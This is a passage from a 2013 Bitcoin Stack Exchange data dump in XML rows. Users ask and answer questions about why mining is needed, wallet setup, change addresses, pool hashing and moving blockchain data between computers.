OwnerUserId="4692" LastEditorUserId="5406" LastEditDate="2016-02-08T13:13:13.057" LastActivityDate="2016-02-08T13:13:13.057" Title="Why is mining necessary for the Bitcoin network/system?" Tags="|mining-theory|transaction-verification|" AnswerCount="4" CommentCount="1" ClosedDate="2013-04-29T13:25:26.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="10345" PostTypeId="2" ParentId="10343" CreationDate="2013-04-28T17:02:52.067" Score="1" Body="&lt;p&gt;Where would the DB be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the DB is stored in some centralized location, then Bitcoin is no longer decentralised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the DB &lt;em&gt;must&lt;/em&gt; be stored by a distributed network of honest nodes, and shared in the P2P network. However, we need a way for single nodes to be able to verify if a block isn't forged. Enter the nonce/hash: It is something hard to generate (forge), but easy to verify. One needs to pick the correct nonce for the block hash to follow the criteria, and it takes time to find a working nonce. (On the other hand, verifying a hash is a quick job)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, of course, we need a way to &quot;legitimately&quot; generate the nonce -- there's no central authority handing out nonces. Enter miners: As long as the almost all of the mining population is working towards generating nonces for &quot;good&quot; blocks (blocks containing all broadcasted transactions with not tampering), we can guarantee that all the generated blocks have come from these miners, and thus these blocks are &quot;legitimate&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the transactions do get broadcast, there's no way of knowing if a transaction has reached the rest of the world. I can direct a transaction at you and make it &lt;em&gt;look&lt;/em&gt; like I've given you money, when I haven't. However, baking a transaction into a block is something nearly impossible for any individual to do as he has to race against the majority of miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://codinginmysleep.com/bitcoin-mining-in-plain-english/&quot; rel=&quot;nofollow&quot;&gt;http://codinginmysleep.com/bitcoin-mining-in-plain-english/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="1453" LastEditDate="2013-04-28T19:07:16.647" LastActivityDate="2013-04-28T19:07:16.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10346" PostTypeId="1" AcceptedAnswerId="11296" CreationDate="2013-04-28T17:30:37.643" Score="0" ViewCount="520" Body="&lt;p&gt;Please excuse me if I use the wrong vocab - as I am unfamiliar with this and so will probably explain myself like a foot.&#xA;Here goes. I am on a Mac and I think I have downloaded the block chain and I now have a window called Bitcoin - Wallet showing Balance: 0.00 BTC and Unconfirmed: 0.00 BTC and Number of transactions: 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what? &#xA;1) I thought I should be getting an address or something that I need to copy and keep safe - and &#xA;2) I should create a Password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to close the Bitcoin-Wallet window in case I make it disappear for ever .. &#xA;3) Should I be getting a little picture of a wallet on my desktop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4700" LastActivityDate="2013-05-29T04:16:44.357" Title="Bitcoin Wallet is downloaded I think. What next?" Tags="|blockchain|wallet|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10347" PostTypeId="2" ParentId="10346" CreationDate="2013-04-28T17:41:00.137" Score="0" Body="&lt;p&gt;The Bitcoin-QT software presents you with a user-friendly interface with which to view your Bitcoin transactions. I don't use it, but I imagine that the public address will be displayed somewhere on the screen (it will be of the form 1xxxxxxxxxxxxxx). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your private key is stored in a wallet.dat file by the software, and it handles all signing and transactions for you, if you ever wanted to send coins. You can obtain both the public and private keys by exporting: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7536/how-do-i-export-my-private-keys-from-my-bitcoin-qt-client&quot;&gt;How do I export my private keys from my Bitcoin-Qt client?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And if you close the program and reopen it, your coin balance will not be lost. All of your keys are stored permanently in a wallet.dat file. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-04-28T17:41:00.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10348" PostTypeId="2" ParentId="9078" CreationDate="2013-04-28T18:03:18.233" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Due to the very low probability of successful generation, this makes&#xA;  it unpredictable which worker computer in the network will be able to&#xA;  generate the next block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Proof_of_work&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is what makes proof-of-work based cryptocurrencies like Bitcoin different from any other form of electronic money.  With access to mining being open to all, there is no way to control (or corrupt) the transaction verification process.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, let's say there was a law passed everywhere mandating that no payments to Wikileaks would be allowed -- that any miner including a payment to the Wikileaks payment address would be punished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a form of centralized control and some miners would comply.  But because other miners would continue verifying those transactions regardless, the worst that would happen is that payments to Wikileaks might get ignored by a block or three of miners who did comply with the law until another miner ignoring the law gets a block.  The economic advantage goes to the uncorrupted miners (who recognize the laws of math and ignore the laws made by man).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-28T18:03:18.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10349" PostTypeId="2" ParentId="9788" CreationDate="2013-04-28T19:29:39.073" Score="8" Body="&lt;p&gt;Yes you can, but you have to switch to &quot;Expert&quot; usermode from the main window.  After you do, the &quot;Send Bitcoins&quot; window will have an option for customizing the change address.  You can click on the addressbook and select any address in any wallet.  Or really put in any address you want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember that you are compromising your &lt;em&gt;privacy&lt;/em&gt; by reusing addresses.  Even when you don't reuse addresses, there's a surprisingly amount of linkage between your addresses already, just by the way they are combined for some transactions.  By reusing change addresses, you are dramatically amplifying that effect.  That why this feature is hidden under the &quot;Expert Mode.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you always shuffle your coins between 10 addresses, then there is no question that all 10 addresses will eventually be linked, and undeniably part of the same wallet.  Thus, every person you ever transact with, will have the capability to see your entire wallet balance at any time, as well as every transaction you ever execute.  &lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2013-04-28T19:29:39.073" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10350" PostTypeId="1" CreationDate="2013-04-28T19:45:39.283" Score="6" ViewCount="800" Body="&lt;p&gt;For every &quot;getwork&quot; served by the pool, a Merkle root must be calculated for a block.  The run time of SHA-256 is proportional to the number of &quot;chunks&quot; of 256 bits, and a typical block will have thousands of these chunks (a block header has just has three, after preprocessing).  So the pool operator will need hashing power in the Mhash/sec range, roughly.  Am I right so far?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The individual miners need much more hashing power, but in a simpler form: here's a three chunk preprocessed block header; hash it with each of 0000_0000x through FFFF_FFFFx in the nonce field.  If hashing engines specialize on that simplicity, to make them cheaper and/or faster, then they don't work so well for the pool operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I'm a pool operator, or a solo miner, and I need to generate millions of Merkle roots, what are my options? Do the hashing engines (CPU/GPU/FPGA/ASIC) have an API I can use?&lt;/p&gt;&#xA;" OwnerUserId="4704" LastActivityDate="2013-05-02T15:26:50.617" Title="How do pool operators do their hashing?" Tags="|mining-pools|hash|merkle-tree|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10351" PostTypeId="2" ParentId="10343" CreationDate="2013-04-28T20:20:14.627" Score="7" Body="&lt;p&gt;You should start here: &lt;a href=&quot;http://www.youtube.com/watch?v=GmOzih6I1zs&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=GmOzih6I1zs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the video mentions, mining is needed to ensure fairness and for keeping th network stable, safe and secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's see what that means. But first a very brief explanation of the principle of mining.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network consists of nodes that all store a database with all transactions, called the block chain. This database consists of a long chain of blocks, each holding one or more transactions. What miners basically do is bundling all unconfirmed transaction into a block. The form of the block must satisfy certain conditions before the block is considered valid. This condition is called &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow noreferrer&quot;&gt;proof of work&lt;/a&gt; and is not trivial to understand. When a miner finds a block that is valid, it can send its block to the network and others will verify it. When it is indeed valid, all clients will add it to their block chain. Every time a miner finds a valid block, it has the right to assign a certain amount of bitcoins to himself, called the &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining#Reward&quot; rel=&quot;nofollow noreferrer&quot;&gt;block reward&lt;/a&gt;. They also get all transaction fees of all transactions included in his block. This way, new bitcoins are added to the network and it can be ensured that transactions can be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fairness&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin is peer-to-peer and there is no central authority to control it, every one can send any kind of transaction to the network, whether or not it is valid. You could simply send a transaction that sends someone else's coins to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily no one in the network will accept your transaction. When you want to spend bitcoins from a certain address, you will need to sign the transaction with the private key of that address. Other clients in the network can verify that you own that private key because they have the public key. This method is based on &lt;a href=&quot;http://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow noreferrer&quot;&gt;public-key cryptography&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when miners try to bundle unconfirmed transactions into a block, they first need to confirm every transaction to make sure that all transactions in its block are valid. When they are not, other clients will not accept the block they mined when they send it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, miners ensure that people can only spend bitcoins they own.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stability&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the least difficult one to understand. The Bitcoin protocol sets the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow noreferrer&quot;&gt;difficulty&lt;/a&gt; of the mining problem so that averagely every 10 minutes a new block can be found by some miner. This way, a transaction takes 10 minutes to be confirmed on average.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after a transaction has been included in a block, it still is not irreversible. This is not easy to understand, but when a miners try to mine a new block, they include in that block the number and the ID of the previous one. So let's say someone mined block 100, which follows number 99. It can happen that someone else didn't notice that someone found a valid block to follow on 99 and makes a valid number 100 itself as well, let's call it 100'. In this case, most clients will only accept the first block they received. But it can happen that another miner received 100' first and will find a block following on 100' and not on 100. Then we have following situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;98 - 99 - 100&#xA;      \ _ 100' - 101'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When clients notice such a situation, they will always choose the longest existing chain (that only consists of block they think are valid). This means that block 100 will be discarded and that 100' and 101' or now the two last block of the main chain. This means that a transaction that was confirmed by block 100 is now possibly no longer confirmed. Luckily, the miners who found block 100' or 101' probably also knew of the transaction and most probably they also included it in one of those blocks. But it can happen that they did not and so a transaction can be undone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, most clients and merchants require a transaction to be &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;confirmed by at least 6 blocks&lt;/a&gt;. This means it must be included in a block that has at least 5 blocks after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that a transaction will be able to be considered confirmed after averagely 1 hour, makes it a stable situation. It happens rarely that transactions confirmed for more than 1 hour will ever be reversed again.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Safety and security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The previous part about stability already included some security aspects of mining. It is clear that miners make the Bitcoin block chain trustworthy. When a transaction is included in a block and 5 or more other blocks have passed, you can be sure it is irreversible and safe to accept it as a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also clear that the safety and security of Bitcoin as a payment system is in the hands of the miners and that every time one of them solves a block, he has the power to decide what transactions he accepted to the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly, all miners are fair and they will include as much valid transactions as possible. Whenever a miner is not fair and it selectively excludes some transactions, some other miner will likely include it in the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is however one flaw. When a miner has &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow noreferrer&quot;&gt;more computation power than all other miners combined&lt;/a&gt;, it can always create new blocks at a faster rate than the others. This gives him much power over the block chain, and that is to be avoided at all cost. This flaw is named a 51% attack. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/662/1307&quot;&gt;This answer&lt;/a&gt; sums up the consequences of what could happen if someone would have 51% of the network computation power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is a security flaw, what has this to do with why miners should mine? Well, as more people mine, the total computation power rises and it will be much much harder for someone to perform such a 51% attack. Currently, to own hardware capable of performing such an attack would be so enormously expensive that it is economically unfeasible to do, if not completely impossible. So, every miner who contributes his power to the network ensures that only fair miners will find blocks and that the network will be safe for people to trust upon.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-11-04T03:06:42.250" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10352" PostTypeId="1" CreationDate="2013-04-28T22:29:23.133" Score="1" ViewCount="972" Body="&lt;p&gt;The &lt;a href=&quot;http://www.butterflylabs.com/faq/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Butterfly Labs FAQ&lt;/a&gt; says they use USPS for shipping (except for Mini Rigs), and displays the options &quot;Standard&quot; and &quot;Express&quot; during the checkout process:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YxJ2A.jpg&quot; alt=&quot;screenshot during checkout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the USPS website appears to offer &quot;Express&quot; shipping (1-3 business days) and &quot;Priority&quot; (6-10 business days) for international shipping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure people out there have received FPGA devices internationally from BFL in the past, probably with the same international shipping options. Can anyone confirm that delivery times of BFL hardware are equivalent to the two options I found on the USPS website?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2014-09-03T10:09:10.130" LastActivityDate="2014-09-03T10:09:10.130" Title="International shipping times for Butterfly Labs ASIC hardware" Tags="|asic|fpga|butterfly-labs|" AnswerCount="2" CommentCount="0" ClosedDate="2014-09-03T10:09:22.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="10353" PostTypeId="2" ParentId="10350" CreationDate="2013-04-28T22:39:49.480" Score="1" Body="&lt;p&gt;A pool will generally create a unique merkle root for each getwork request by a miner.  If it accepts difficulty 1 shares, the miner can spend an average of about 4,000 Mega-hashes on that block (and will earn an average of 1 share per getwork).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a block header for each miner, the pool operator changes some unique information in the first (generation) transaction of the block, and then rehashes the block to create the merkle root.  If done naively, this will take O(N log N) sha256 hashes (where N is the number of transactions in the block being mined).  By saving some information from computing the last merkle root, you can recalculate a change in the generation transaction with only O(log N) hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With hundreds of transactions per block the ratio of hashes performed by the pool operator and the miners is over 100 million to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an even greater savings, pools can accept a getblocktemplate api request instead of a getwork request.  This mode allows the miner to generate his own block headers and mine for an average of 10 minutes before needing to be refreshed by the pool.&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2013-04-28T22:39:49.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10354" PostTypeId="2" ParentId="10343" CreationDate="2013-04-28T22:40:44.047" Score="1" Body="&lt;p&gt;The short answer is this: Lacking any central authority, the simple scheme you mentioned wouldn't work for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider if you transferred the same 10 bitcoins to two different accounts with two different transactions. What would stop some people from recognizing the first transaction and some from recognizing the second?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses proof of work (mining) to solve this &quot;double spend problem&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-28T22:40:44.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10355" PostTypeId="2" ParentId="10343" CreationDate="2013-04-28T22:47:55.677" Score="2" Body="&lt;p&gt;In order to prevent double spending, signed transactions need to be time-stamped in a well defined order (so that clients can determine the validity of each transaction; i.e. is the source of funds sufficient to support the transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than have a single centralized trusted authority, Bitcoin distributes this function across the network.  But how to decide who to trust to do this?  The answer is to give the authority to whomever demonstrates the most computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a demonstration of computing power cannot be reliably faked, (unlike other measures of individual identity), people can pool their resources to earn the right to timestamp transactions.  As long as more computing power is in the hands of non-malicious users, than malicious ones, no malicious user (or collection of users) will be able to subvert the timestamping function.&lt;/p&gt;&#xA;" OwnerUserId="1083" LastActivityDate="2013-04-28T22:47:55.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10356" PostTypeId="1" AcceptedAnswerId="10373" CreationDate="2013-04-28T22:52:33.270" Score="2" ViewCount="1430" Body="&lt;p&gt;Just for the sake of trying I installed Litecoin-Qt 0.6.3c on Ubuntu.&#xA;And for sure I started solo-mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, that the only thing I see is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[17:45:34] - Solo mining started&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am curious to find out with what speed am I mining, but looking into different tabs I have found no answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to find my hashrate? Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="5406" LastEditDate="2016-03-31T16:31:50.590" LastActivityDate="2016-03-31T16:31:50.590" Title="How can I see my hashrate for litecoin?" Tags="|litecoin|synchronization|hashpower|miner-configuration|logging|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10357" PostTypeId="1" AcceptedAnswerId="10359" CreationDate="2013-04-28T23:32:15.557" Score="1" ViewCount="744" Body="&lt;p&gt;I read the original Bitcoin paper and think I understand it but I'm having a hard time relating it to the transaction pages on blockchain.info.  For example, sometimes there are 2 outputs and neither of them is back to the sender (what the paper would call &quot;change&quot;) which seems to violate the rules of splitting and combining described in the paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good guide on how to read these diagrams?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="132" LastEditDate="2013-04-29T12:17:09.667" LastActivityDate="2013-04-29T13:22:45.597" Title="How to read the transaction pages on blockchain.info?" Tags="|blockchain.info|change|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10358" PostTypeId="1" AcceptedAnswerId="10430" CreationDate="2013-04-28T23:47:54.330" Score="2" ViewCount="90" Body="&lt;p&gt;Who was the technical person who implement/integrated &lt;a href=&quot;https://en.bitcoin.it/wiki/BitcoinPayment&quot; rel=&quot;nofollow&quot;&gt;BitcoinPayment&lt;/a&gt; at the Bitcoin wiki? How can he be contacted?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-30T15:01:34.037" Title="Who implemented BitcoinPayment at the Bitcoin wiki?" Tags="|bitcoin-wiki|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10359" PostTypeId="2" ParentId="10357" CreationDate="2013-04-28T23:55:38.250" Score="1" Body="&lt;p&gt;Change for a transaction doesn't have to go back to the original address: part of it can be sent to the receiver, and the other part can go back to a new address. That way it's slightly harder to trace where the money went, as you don't know which part was the transfer and which part was the change.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-28T23:55:38.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10360" PostTypeId="2" ParentId="10335" CreationDate="2013-04-29T00:23:57.733" Score="1" Body="&lt;p&gt;The important thing about the economics of bitcoin mining is that the cost, in electricity, of generating a new coin is very significant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The overall bitcoin system is designed to be mathematically self-limiting, so there is no way even in principle for anyone to fabricate bitcoins by any other means.  Unlike ordinary currencies, &quot;the fed&quot; can't print money, and unlike gold, no miner will ever discover a seam of bitcoin gold that will flood the market.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastActivityDate="2013-04-29T00:23:57.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10361" PostTypeId="2" ParentId="10358" CreationDate="2013-04-29T01:04:03.577" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/w/index.php?title=BitcoinPayment&amp;amp;action=history&quot; rel=&quot;nofollow&quot;&gt;history of the page&lt;/a&gt; suggests that &lt;a href=&quot;https://en.bitcoin.it/wiki/User%3aNanotube&quot; rel=&quot;nofollow&quot;&gt;Nanotube&lt;/a&gt;, &lt;a href=&quot;https://en.bitcoin.it/wiki/User%3aMagicalTux&quot; rel=&quot;nofollow&quot;&gt;MagicalTux&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/User%3aRdymac&quot; rel=&quot;nofollow&quot;&gt;Rdymac&lt;/a&gt; were the last that edited the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first two of them have contact instructions on their Wiki profile, only the latter does not.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-04-30T00:03:01.520" LastActivityDate="2013-04-30T00:03:01.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10362" PostTypeId="1" CreationDate="2013-04-29T01:58:46.090" Score="4" ViewCount="1967" Body="&lt;p&gt;Here is my current understanding of Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 10 bitcoins in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I send 5 bitcoins to someone else, I am sending the private key from my wallet to somebody's public key address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those are combined into a new transaction that is later confirmed by miners. The miners confirm that I owned the bitcoins by checking my private key, and that the receiver's public key is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the miners create a new private key that is sent to the receiver's wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On a simple True/False basis, is everything I have said right so far?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what happens to the remaining 5 bitcoins in my wallet?  Do they magically get a new private key, or what? How does my wallet know how many I have left, and how do the remaining bitcoins get a new identity?&lt;/p&gt;&#xA;" OwnerUserId="4710" LastEditorUserId="44" LastEditDate="2013-04-29T20:53:26.580" LastActivityDate="2021-01-05T01:03:53.937" Title="Is a private key used up when part of the bitcoins it controls are sent?" Tags="|wallet|private-key|public-key|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10363" PostTypeId="2" ParentId="10362" CreationDate="2013-04-29T04:50:59.857" Score="0" Body="&lt;p&gt;Short answer is No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no new address is created. Bitcoin simply realizes that the balance of the former private key is deducted by 5 bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastActivityDate="2013-04-29T04:50:59.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10364" PostTypeId="1" AcceptedAnswerId="10367" CreationDate="2013-04-29T05:04:34.463" Score="7" ViewCount="2488" Body="&lt;p&gt;I have a bitcoin wallet on my PC  but I just recently downloaded the MAC version of it.  I would like to initialize it with the blockchain from my PC so that I don't have to download it all over again.  Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="4711" LastActivityDate="2016-06-28T22:29:06.533" Title="Transfer blockchain from PC to Mac" Tags="|blockchain|wallet|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10365" PostTypeId="1" AcceptedAnswerId="10401" CreationDate="2013-04-29T05:10:53.590" Score="2" ViewCount="344" Body="&lt;p&gt;Do we know who he is? How do we knows he won't run away with our money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, you can buy their shares both on &lt;a href=&quot;https://bitfunder.com/asset/G.ASICMINER-PT&quot; rel=&quot;nofollow&quot;&gt;BitFunder&lt;/a&gt; and &lt;a href=&quot;https://btct.co/security/ASICMINER-PT&quot; rel=&quot;nofollow&quot;&gt;BTC Trading Corp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay cool. But can I trust those 2 companies? Bitfunder and BTC Trading Corp? What about if they run with my money. Who are they? Do we know their real name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not distributed stock exchange. Some guys control it and that some guys may be assholes.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2018-06-05T04:21:41.030" LastActivityDate="2018-06-05T04:21:41.030" Title="Who are the owner of bitfunder.com and btc trading corp?" Tags="|exchanges|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10366" PostTypeId="2" ParentId="10362" CreationDate="2013-04-29T05:11:38.523" Score="3" Body="&lt;p&gt;No. Transactions work by &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot; rel=&quot;nofollow noreferrer&quot;&gt;ECDSA&lt;/a&gt; signing.&lt;/p&gt;&#xA;&lt;p&gt;Basically, you write up a transaction and you &lt;em&gt;sign&lt;/em&gt; it with your private key. Anyone who has your public key, the message, and the signature can easily verify that the owner of said public key is the one who signed the message (on the other hand, forging a signature is extremely difficult)&lt;/p&gt;&#xA;&lt;p&gt;Transactions can have multiple inputs: In such a case a signature from each input key is required.&lt;/p&gt;&#xA;&lt;p&gt;They also can have multiple outputs. Generally, a transaction depletes &lt;em&gt;all&lt;/em&gt; the money in the inputs. All the change is fed back to the inputs, so a  transaction may have the inputs A(balance 10 BTC) and B(balance 15 BTC), with a 20 BTC output to C(owned by someone else), and a 5 BTC output back to A. Most clients by default create &amp;quot;change addresses&amp;quot; (or give you the option to do so). In such cases, a new address D is created to receive the change of the transaction, and the new address is added to your wallet (this keeps you a bit more anonymous. Your sender keys may be connected to your identity if there was some non-anonymous exchange involved in the transaction. The change key won't necessarily be connected with you)&lt;/p&gt;&#xA;&lt;p&gt;Any bitcoins not accounted for in a transaction are considered as &amp;quot;transaction fees&amp;quot; and are an extra incentive for the miner to collect.&lt;/p&gt;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/9007/1453&quot;&gt;Why are there two transaction outputs when sending to one address?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-30T02:42:54.173" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10367" PostTypeId="2" ParentId="10364" CreationDate="2013-04-29T05:16:52.210" Score="5" Body="&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy over your &lt;code&gt;%APPDATA%\Bitcoin&lt;/code&gt; directory to &lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your AppData directory should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&#xA;&#xA;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not, you can always run &lt;code&gt;explorer %APPDATA%\Bitcoin&lt;/code&gt; in Command Prompt (Super-R, type &lt;code&gt;cmd&lt;/code&gt;, hit &quot;Run&quot;) to find it.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-04-29T05:16:52.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
